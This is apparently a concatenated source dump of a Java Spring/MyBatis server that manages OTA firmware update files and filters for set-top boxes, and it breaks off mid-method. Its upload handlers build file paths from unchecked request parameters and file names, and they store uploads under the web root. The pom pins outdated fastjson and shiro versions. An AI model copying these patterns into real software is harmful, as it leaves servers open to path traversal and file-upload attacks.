refs/heads/master | <file_sep><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.sysu-shenzhen</groupId>
<artifactId>ota</artifactId>
<packaging>war</packaging>
<version>0.0.1-SNAPSHOT</version>
<name>ota Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.java-websocket</groupId>
<artifactId>Java-WebSocket</artifactId>
<version>1.3.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>4.1.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jdbc</artifactId>
<version>4.1.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework.security</groupId>
<artifactId>spring-security-web</artifactId>
<version>4.1.0.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.servlet.jsp.jstl</groupId>
<artifactId>jstl-api</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.31</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.8.1</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.0.20</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>3.0-alpha-1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jsp-api </artifactId>
<version>2.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3.1</version>
</dependency>
<dependency>
<groupId>org.codehaus.jackson</groupId>
<artifactId>jackson-mapper-asl</artifactId>
<version>1.9.13</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.12</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-web</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>1.7.21</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.4.1.1</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.2.7</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis-spring</artifactId>
<version>1.3.0</version>
</dependency>
<!-- 导入导出excel的包 -->
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi</artifactId>
<version>3.14</version>
</dependency>
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>ooxml-schemas</artifactId>
<version>1.3</version>
</dependency>
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.14</version>
</dependency>
<dependency>
<groupId>org.apache.xmlbeans</groupId>
<artifactId>xmlbeans</artifactId>
<version>2.6.0</version>
</dependency>
<dependency>
<groupId>dom4j</groupId>
<artifactId>dom4j</artifactId>
<version>1.6.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.4</version>
</dependency>
<!-- 导入导出excel的包 -->
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi</artifactId>
<version>3.14</version>
</dependency>
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>ooxml-schemas</artifactId>
<version>1.3</version>
</dependency>
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.14</version>
</dependency>
<dependency>
<groupId>org.apache.xmlbeans</groupId>
<artifactId>xmlbeans</artifactId>
<version>2.6.0</version>
</dependency>
<dependency>
<groupId>dom4j</groupId>
<artifactId>dom4j</artifactId>
<version>1.6.1</version>
</dependency>
<!-- mybatis 分页插件 -->
<dependency>
<groupId>com.github.miemiedev</groupId>
<artifactId>mybatis-paginator</artifactId>
<version>1.2.10</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>1.7.12</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.4</version>
</dependency>
</dependencies>
<build>
<finalName>ota</finalName>
</build>
</project>
<file_sep>package com.ota.domain;
public class OTAGroup {
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otagroup.id
*
* @mbggenerated
*/
private Integer id;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otagroup.groupname
*
* @mbggenerated
*/
private String groupname;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otagroup.sort
*
* @mbggenerated
*/
private Integer sort;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column otagroup.description
*
* @mbggenerated
*/
private String description;
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otagroup.id
*
* @return the value of otagroup.id
*
* @mbggenerated
*/
public Integer getId() {
return id;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otagroup.id
*
* @param id the value for otagroup.id
*
* @mbggenerated
*/
public void setId(Integer id) {
this.id = id;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otagroup.groupname
*
* @return the value of otagroup.groupname
*
* @mbggenerated
*/
public String getGroupname() {
return groupname;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otagroup.groupname
*
* @param groupname the value for otagroup.groupname
*
* @mbggenerated
*/
public void setGroupname(String groupname) {
this.groupname = groupname == null ? null : groupname.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otagroup.sort
*
* @return the value of otagroup.sort
*
* @mbggenerated
*/
public Integer getSort() {
return sort;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otagroup.sort
*
* @param sort the value for otagroup.sort
*
* @mbggenerated
*/
public void setSort(Integer sort) {
this.sort = sort;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column otagroup.description
*
* @return the value of otagroup.description
*
* @mbggenerated
*/
public String getDescription() {
return description;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column otagroup.description
*
* @param description the value for otagroup.description
*
* @mbggenerated
*/
public void setDescription(String description) {
this.description = description == null ? null : description.trim();
}
}<file_sep>package com.ota.domain;
public class AppstoreMapping {
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.id
*
* @mbggenerated
*/
private Integer id;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.romversion
*
* @mbggenerated
*/
private String romversion;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.type
*
* @mbggenerated
*/
private String type;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.userid
*
* @mbggenerated
*/
private String userid;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.businessid
*
* @mbggenerated
*/
private String businessid;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.appversion
*
* @mbggenerated
*/
private String appversion;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.hardwareversion
*
* @mbggenerated
*/
private String hardwareversion;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.manufacturer
*
* @mbggenerated
*/
private String manufacturer;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.dvbsupport
*
* @mbggenerated
*/
private Boolean dvbsupport;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.homeui
*
* @mbggenerated
*/
private String homeui;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.ipbegin
*
* @mbggenerated
*/
private String ipbegin;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database column appstoremapping.ipend
*
* @mbggenerated
*/
private String ipend;
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.id
*
* @return the value of appstoremapping.id
*
* @mbggenerated
*/
public Integer getId() {
return id;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.id
*
* @param id the value for appstoremapping.id
*
* @mbggenerated
*/
public void setId(Integer id) {
this.id = id;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.romversion
*
* @return the value of appstoremapping.romversion
*
* @mbggenerated
*/
public String getRomversion() {
return romversion;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.romversion
*
* @param romversion the value for appstoremapping.romversion
*
* @mbggenerated
*/
public void setRomversion(String romversion) {
this.romversion = romversion == null ? null : romversion.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.type
*
* @return the value of appstoremapping.type
*
* @mbggenerated
*/
public String getType() {
return type;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.type
*
* @param type the value for appstoremapping.type
*
* @mbggenerated
*/
public void setType(String type) {
this.type = type == null ? null : type.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.userid
*
* @return the value of appstoremapping.userid
*
* @mbggenerated
*/
public String getUserid() {
return userid;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.userid
*
* @param userid the value for appstoremapping.userid
*
* @mbggenerated
*/
public void setUserid(String userid) {
this.userid = userid == null ? null : userid.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.businessid
*
* @return the value of appstoremapping.businessid
*
* @mbggenerated
*/
public String getBusinessid() {
return businessid;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.businessid
*
* @param businessid the value for appstoremapping.businessid
*
* @mbggenerated
*/
public void setBusinessid(String businessid) {
this.businessid = businessid == null ? null : businessid.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.appversion
*
* @return the value of appstoremapping.appversion
*
* @mbggenerated
*/
public String getAppversion() {
return appversion;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.appversion
*
* @param appversion the value for appstoremapping.appversion
*
* @mbggenerated
*/
public void setAppversion(String appversion) {
this.appversion = appversion == null ? null : appversion.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.hardwareversion
*
* @return the value of appstoremapping.hardwareversion
*
* @mbggenerated
*/
public String getHardwareversion() {
return hardwareversion;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.hardwareversion
*
* @param hardwareversion the value for appstoremapping.hardwareversion
*
* @mbggenerated
*/
public void setHardwareversion(String hardwareversion) {
this.hardwareversion = hardwareversion == null ? null : hardwareversion.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.manufacturer
*
* @return the value of appstoremapping.manufacturer
*
* @mbggenerated
*/
public String getManufacturer() {
return manufacturer;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.manufacturer
*
* @param manufacturer the value for appstoremapping.manufacturer
*
* @mbggenerated
*/
public void setManufacturer(String manufacturer) {
this.manufacturer = manufacturer == null ? null : manufacturer.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.dvbsupport
*
* @return the value of appstoremapping.dvbsupport
*
* @mbggenerated
*/
public Boolean getDvbsupport() {
return dvbsupport;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.dvbsupport
*
* @param dvbsupport the value for appstoremapping.dvbsupport
*
* @mbggenerated
*/
public void setDvbsupport(Boolean dvbsupport) {
this.dvbsupport = dvbsupport;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.homeui
*
* @return the value of appstoremapping.homeui
*
* @mbggenerated
*/
public String getHomeui() {
return homeui;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.homeui
*
* @param homeui the value for appstoremapping.homeui
*
* @mbggenerated
*/
public void setHomeui(String homeui) {
this.homeui = homeui == null ? null : homeui.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.ipbegin
*
* @return the value of appstoremapping.ipbegin
*
* @mbggenerated
*/
public String getIpbegin() {
return ipbegin;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.ipbegin
*
* @param ipbegin the value for appstoremapping.ipbegin
*
* @mbggenerated
*/
public void setIpbegin(String ipbegin) {
this.ipbegin = ipbegin == null ? null : ipbegin.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column appstoremapping.ipend
*
* @return the value of appstoremapping.ipend
*
* @mbggenerated
*/
public String getIpend() {
return ipend;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column appstoremapping.ipend
*
* @param ipend the value for appstoremapping.ipend
*
* @mbggenerated
*/
public void setIpend(String ipend) {
this.ipend = ipend == null ? null : ipend.trim();
}
public AppstoreMapping(String romVersion, String type, String userID, String appVersion,
String hardwareversion, String manufacturer, Boolean dvbSupport, String homeUI, String ipbegin,
String ipend) {
super();
this.romversion = romVersion;
this.type = type;
this.userid = userID;
this.appversion = appVersion;
this.hardwareversion = hardwareversion;
this.manufacturer = manufacturer;
this.dvbsupport = dvbSupport;
this.homeui = homeUI;
this.ipbegin = ipbegin;
this.ipend = ipend;
}
public AppstoreMapping() {
super();
}
}<file_sep>package com.ota.domain;
public class UpdatefileAndFilter {
private Integer id;
private String mappingid;
private String description;
private String businessid;
private String romversion;
private String type;
private Boolean isCompulsive;
private String userid;
private String appversion;
private String hardwareversion;
private String manufacturer;
private Boolean dvbsupport;
private String homeui;
private String ipbegin;
private String ipend;
private String customName;
public Updatefile getUpdateFile() {
return new Updatefile(this.getId(),this.getMappingid());
}
public FileMapping getFileMapping(Integer modelid) {
return new FileMapping(
this.getRomversion(),
modelid,
this.getIsCompulsive(),
this.getUserid(),
this.getAppversion(),
this.getHardwareversion(),
this.manufacturer,
this.getDvbsupport(),
this.getHomeui(),
this.getIpbegin(),
this.getIpend()
);
}
public String getCustomName() {
return customName;
}
public void setCustomName(String customName) {
this.customName = customName;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getMappingid() {
return mappingid;
}
public void setMappingid(String mappingid) {
this.mappingid = mappingid;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getRomversion() {
return romversion;
}
public void setRomversion(String romversion) {
this.romversion = romversion;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public Boolean getIsCompulsive() {
return isCompulsive;
}
public void setIsCompulsive(Boolean isCompulsive) {
this.isCompulsive = isCompulsive;
}
public String getUserid() {
return userid;
}
public void setUserid(String userid) {
this.userid = userid;
}
public String getBusinessid() {
return businessid;
}
public void setBusinessid(String businessid) {
this.businessid = businessid;
}
public String getAppversion() {
return appversion;
}
public void setAppversion(String appversion) {
this.appversion = appversion;
}
public String getHardwareversion() {
return hardwareversion;
}
public void setHardwareversion(String hardwareversion) {
this.hardwareversion = hardwareversion;
}
public String getManufacturer() {
return manufacturer;
}
public void setManufacturer(String manufacturer) {
this.manufacturer = manufacturer;
}
public Boolean getDvbsupport() {
return dvbsupport;
}
public void setDvbsupport(Boolean dvbsupport) {
this.dvbsupport = dvbsupport;
}
public String getHomeui() {
return homeui;
}
public void setHomeui(String homeui) {
this.homeui = homeui;
}
public String getIpbegin() {
return ipbegin;
}
public void setIpbegin(String ipbegin) {
this.ipbegin = ipbegin;
}
public String getIpend() {
return ipend;
}
public void setIpend(String ipend) {
this.ipend = ipend;
}
}
<file_sep>package com.ota.dao;
import java.util.List;
import java.util.Map;
import com.github.miemiedev.mybatis.paginator.domain.PageBounds;
import com.ota.domain.AdverInfo;
import com.ota.domain.Advertisement;
import com.ota.domain.AdvertisementInfo;
public interface AdvertisementMapper {
List<AdvertisementInfo> selectAdvertisementInfo(AdvertisementInfo advertisementInfo);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table advertisement
*
* @mbggenerated
*/
int deleteByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table advertisement
*
* @mbggenerated
*/
int insert(Advertisement record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table advertisement
*
* @mbggenerated
*/
int insertSelective(Advertisement record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table advertisement
*
* @mbggenerated
*/
Advertisement selectByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table advertisement
*
* @mbggenerated
*/
int updateByPrimaryKeySelective(Advertisement record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table advertisement
*
* @mbggenerated
*/
int updateByPrimaryKey(Advertisement record);
String[] selectByAdversion(String adversion);
List<Advertisement> selectByBusinessId(String businessid);
List<Advertisement> selectForRoot();
void updateMappingIDByPrimaryKey(Advertisement advertisement);
int selectlastid();
void updateForAddFilterToMultFile(Advertisement advertisement);
List<AdverInfo> selectAllAdvertisementWithFilter(
Map<String, Object> map, PageBounds pageBounds);
}<file_sep>package com.ota.handlers;
import java.io.File;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import com.alibaba.fastjson.JSONObject;
import com.github.miemiedev.mybatis.paginator.domain.PageBounds;
import com.ota.dao.BoxTypeMapper;
import com.ota.dao.BusinessMapper;
import com.ota.dao.FileMappingMapper;
import com.ota.dao.OTAGroupMapper;
import com.ota.dao.UpdatefileMapper;
import com.ota.domain.FileMapping;
import com.ota.domain.FileMappingInfo;
import com.ota.domain.UpdateFileInfo;
import com.ota.domain.Updatefile;
import com.ota.domain.UpdatefileAndFilter;
import com.ota.tools.OTAToolKit;
@Controller
public class PatchHandler {
@Autowired
UpdatefileMapper upfm;
@Autowired
BusinessMapper businessMapper;
@Autowired
BoxTypeMapper boxTypeMapper;
@Autowired
FileMappingMapper fmm;
@Autowired
OTAGroupMapper otaGroupMapper;
@Autowired
private HttpSession session;
// HttpServletRequest request = ((ServletRequestAttributes)
// RequestContextHolder.getRequestAttributes()).getRequest();
private String downloadUrl;
private String fileMD5;
private long size;
@RequestMapping("patch-info")
@ResponseBody
public List<UpdateFileInfo> pathcInfo(HttpServletRequest request) {
int offset = Integer.parseInt(request.getParameter("offset"));
int pageSize = Integer.parseInt(request.getParameter("pageSize"));
String customer = request.getParameter("customer");
String model = request.getParameter("model");
Integer customerid;
Integer modelid;
if (customer.equals("All Customer"))
customerid = null;
else {
customerid = businessMapper.selectBusinessidByName(customer);
}
if (model.equals("All Model"))
modelid = null;
else {
modelid = boxTypeMapper.selectModelIDByType(model);
}
List<UpdateFileInfo> updatefileInfoList = null;
Map<String, Object> map = new HashMap<String, Object>();
try {
map.put("customerid", customerid);
map.put("modelid", modelid);
PageBounds pageBounds = OTAToolKit.getPagerBoundsByParameter(pageSize, offset);
updatefileInfoList = upfm.selectAllUpdateFileWithFilter(map, pageBounds);
}catch(Exception exception) {
exception.printStackTrace();
}
return updatefileInfoList;
}
@RequestMapping("patch-detail")
@ResponseBody
public JSONObject patchDetail(@RequestBody JSONObject patchId) {
JSONObject json = new JSONObject();
int id = Integer.parseInt(patchId.getString("patchId"));
Updatefile updatefile = upfm.selectByPrimaryKey(id);
session.setAttribute("businessid", updatefile.getBusinessid());
json.put("updatefile", updatefile);
if (updatefile.getMappingid() != null
&& updatefile.getMappingid().length() > 0) {
String mappingid = updatefile.getMappingid();
String[] multMapping = mappingid.split(",");
List<FileMappingInfo> filemapping = new ArrayList<FileMappingInfo>();
for (int i = 0; i < multMapping.length; i++) {
FileMapping tempF = fmm.selectByPrimaryKey(Integer
.parseInt(multMapping[i]));
Integer modelid = tempF.getModelid();
String model = boxTypeMapper.selectByPrimaryKey(modelid).getType();
FileMappingInfo fmi = new FileMappingInfo();
fmi.setAppversion(tempF.getAppversion());
fmi.setBusinessid(tempF.getBusinessid());
fmi.setDvbsupport(tempF.getDvbsupport());
fmi.setHardwareversion(tempF.getHardwareversion());
fmi.setHomeui(tempF.getHomeui());
fmi.setId(tempF.getId());
fmi.setIpbegin(tempF.getIpbegin());
fmi.setIpend(tempF.getIpend());
fmi.setIsCompulsive(tempF.getIsCompulsive());
fmi.setManufacturer(tempF.getManufacturer());
fmi.setManufacturer(tempF.getManufacturer());
fmi.setModel(model);
fmi.setRomVersion(tempF.getRomVersion());
fmi.setUserid(tempF.getUserid());
filemapping.add(fmi);
}
json.put("filemapping", filemapping);
}
return json;
}
@RequestMapping("deleteFile")
@ResponseBody
public JSONObject deleteFile(@RequestBody JSONObject id) {
JSONObject json = new JSONObject();
System.out.println("id:" + id.getString("id"));
int deleteid = Integer.parseInt(id.getString("id"));
try {
Updatefile updatefile = upfm.selectByPrimaryKey(deleteid);
String mappingid = updatefile.getMappingid();
if (mappingid != null && mappingid.length() > 0) {
String[] deletefilteridArrary = mappingid.split(",");
// 逐条删除updatefile 对应的filter记录
for (String deletefilterid : deletefilteridArrary) {
fmm.deleteByPrimaryKey(Integer.parseInt(deletefilterid));
}
}
upfm.deleteByPrimaryKey(deleteid);
json.put("id", deleteid);
json.put("code", 1);
json.put("msg", "success");
} catch (Exception e) {
json.put("code", -1);
json.put("msg", "failed");
e.printStackTrace();
}
return json;
}
@RequestMapping("deleteFilter")
@ResponseBody
public JSONObject deleteFilter(@RequestBody JSONObject id) {
JSONObject json = new JSONObject();
int deleteid = Integer.parseInt(id.getString("id"));
int fileid = Integer.parseInt(id.getString("fileid"));
try {
fmm.deleteByPrimaryKey(deleteid);
Updatefile updatefile = upfm.selectByPrimaryKey(fileid);
String mappingid = updatefile.getMappingid();
// mappingid 一定存在 否则 业务逻辑异常或数据库中的数据错误
mappingid = OTAToolKit.deleteFilterIdInFile(mappingid,
id.getString("id"));
updatefile.setMappingid(mappingid);
upfm.updateByPrimaryKeySelective(updatefile);
json.put("code", 1);
json.put("msg", "success");
} catch (Exception e) {
json.put("code", -1);
json.put("msg", "failed");
e.printStackTrace();
}
return json;
}
@RequestMapping("patchAddFilter")
@ResponseBody
public JSONObject patchAddFilter(
@RequestBody UpdatefileAndFilter updatefileAndFilter) {
System.out.println("addfilter:session.getAttribute(\"businessid\"): "
+ session.getAttribute("businessid"));
JSONObject json = new JSONObject();
Updatefile upfFromWeb = updatefileAndFilter.getUpdateFile();
Integer modelid = boxTypeMapper.selectModelIDByType(updatefileAndFilter.getType());
FileMapping filemapping = updatefileAndFilter.getFileMapping(modelid);
try {
filemapping.setBusinessid((String) session
.getAttribute("businessid"));
// autoID 是插入新增filemapping后 由数据库返回的自增id 但是返回的一直是1 ,于是没有使用
// ,又做了一次取id的操作
// 有待优化的sql问题
int autoID = fmm.insertSelective(filemapping);
System.out.println(autoID);
int id = fmm.selectlastid();
String mappingid = null;
if (upfm.selectByPrimaryKey(upfFromWeb.getId()).getMappingid() == null
|| upfm.selectByPrimaryKey(upfFromWeb.getId())
.getMappingid().length() <= 0) {
mappingid = "" + id;
} else {
mappingid = upfm.selectByPrimaryKey(upfFromWeb.getId())
.getMappingid();
mappingid = mappingid + "," + id;
}
upfFromWeb.setMappingid(mappingid);
//upfFromWeb.setBusinessid((String) session.getAttribute("businessid"));
upfm.updateByPrimaryKeySelective(upfFromWeb);
json.put("code", "1");
json.put("msg", "success");
json.put("id", id);
} catch (Exception e) {
json.put("code", "-1");
json.put("msg", "failed");
e.printStackTrace();
}
return json;
}
@RequestMapping("patchUpdateFilter")
@ResponseBody
public JSONObject patchUpdateFilter(
@RequestBody UpdatefileAndFilter updatefileAndFilter) {
JSONObject json = new JSONObject();
Updatefile upfFromWeb = updatefileAndFilter.getUpdateFile();
Integer modelid = boxTypeMapper.selectModelIDByType(updatefileAndFilter.getType());
FileMapping filemapping = updatefileAndFilter.getFileMapping(modelid);
try {
// 更新
filemapping.setId(Integer.parseInt(upfFromWeb.getMappingid()));
fmm.updateByPrimaryKeySelective(filemapping);
json.put("code", "1");
json.put("msg", "success");
} catch (Exception e) {
json.put("code", "-1");
json.put("msg", "failed");
e.printStackTrace();
}
return json;
}
@RequestMapping("addupdateFile")
@ResponseBody
public JSONObject addupdateFile(@RequestBody UpdateFileInfo updateFileInfo) {
JSONObject json = new JSONObject();
Updatefile updatefile = new Updatefile();
Integer customerid = businessMapper.selectBusinessidByName(updateFileInfo.getName());
Integer groupid = otaGroupMapper.selectGroupIDByGroupName(updateFileInfo.getGroupname());
Integer modelid = boxTypeMapper.selectModelIDByType(updateFileInfo.getType());
String fileVersion = updateFileInfo.getFileVersion();
String description = updateFileInfo.getDescription();
try {
updatefile.setBusinessid(customerid+"");
updatefile.setFileVersion(fileVersion);
updatefile.setDescription(description);
updatefile.setGroupid(groupid);
updatefile.setModelid(modelid);
updatefile.setDownload(downloadUrl);
updatefile.setMd5(fileMD5);
updatefile.setSize((int) size);
System.out.println(fileMD5 + " " + size);
updatefile.setUpdateTime(new Date());
int autoid = upfm.insertAndGetId(updatefile);
int id = upfm.selectlastid();
json.put("code", 1);
json.put("msg", "success");
json.put("id", id);
} catch (Exception e) {
e.printStackTrace();
json.put("code", -1);
}
return json;
}
@RequestMapping("uploadupdatefile")
@ResponseBody
public JSONObject uploadupdatefile(HttpServletRequest req,
@RequestParam(value = "file", required = false) MultipartFile file) {
JSONObject json = new JSONObject();
System.out.println("开始");
String path = req.getSession().getServletContext()
.getRealPath("upload");
String businessName = (String) session.getAttribute("business_name");
Properties prop = System.getProperties();
String osname = prop.getProperty("os.name");
if (osname.startsWith("win") || osname.startsWith("Win")) {
path = path + "\\" + businessName;
} else {
path = path + "/" + businessName;
}
String fileName = OTAToolKit.addTimeStamp(file.getOriginalFilename());
// /ota/src/main/webapp/upload
System.out.println("path:" + path);
System.out.println("fileName:" + fileName);
File targetFile = new File(path, fileName);
if (!targetFile.exists()) {
targetFile.mkdirs();
}
// 保存
try {
file.transferTo(targetFile);
fileMD5 = OTAToolKit.getMd5ByFile(targetFile);
size = targetFile.length();
if (osname.startsWith("win") || osname.startsWith("Win")) {
downloadUrl = "upload\\" + businessName + "\\" + fileName;
} else {
downloadUrl = "upload/" + businessName + "/" + fileName;
}
System.out.println(downloadUrl);
json.put("msgcode", "1");
} catch (Exception e) {
e.printStackTrace();
json.put("msgcode", "-1");
}
return json;
}
@RequestMapping("uploadlog")
@ResponseBody
public JSONObject uploadlog(HttpServletRequest req,
@RequestParam(value = "file", required = false) MultipartFile file) {
String sn = req.getParameter("sn").toString();
String date = req.getParameter("date").toString();
JSONObject json = new JSONObject();
if (sn.isEmpty() || date.isEmpty()) {
json.put("code", "0");
return json;
}
try {
String path = req.getSession().getServletContext()
.getRealPath("log");
String fileName = file.getOriginalFilename();
// /ota/src/main/webapp/log
System.out.println("path:" + path);
System.out.println("sn:" + sn);
System.out.println("fileName:" + fileName);
String[] split = fileName.split("_");
String model = split[0];
String version = split[1];
String time = split[2];
System.out.println("model:" + model);
System.out.println("version:" + version);
System.out.println("time:" + time);
Properties prop = System.getProperties();
String osname = prop.getProperty("os.name");
if (osname.startsWith("win") || osname.startsWith("Win")) {
path = path + "\\" + sn + "\\" + date;
} else {
path = path + "/" + sn+ "/" + date;
}
File targetFile = new File(path, getLogName(fileName));
if (!targetFile.exists()) {
targetFile.mkdirs();
}
// 保存
file.transferTo(targetFile);
json.put("code", "1");
} catch (Exception e) {
json.put("code", "0");
}
return json;
}
@RequestMapping("test")
@ResponseBody
public String test(HttpServletRequest req) {
String aa = req.getParameter("aa");
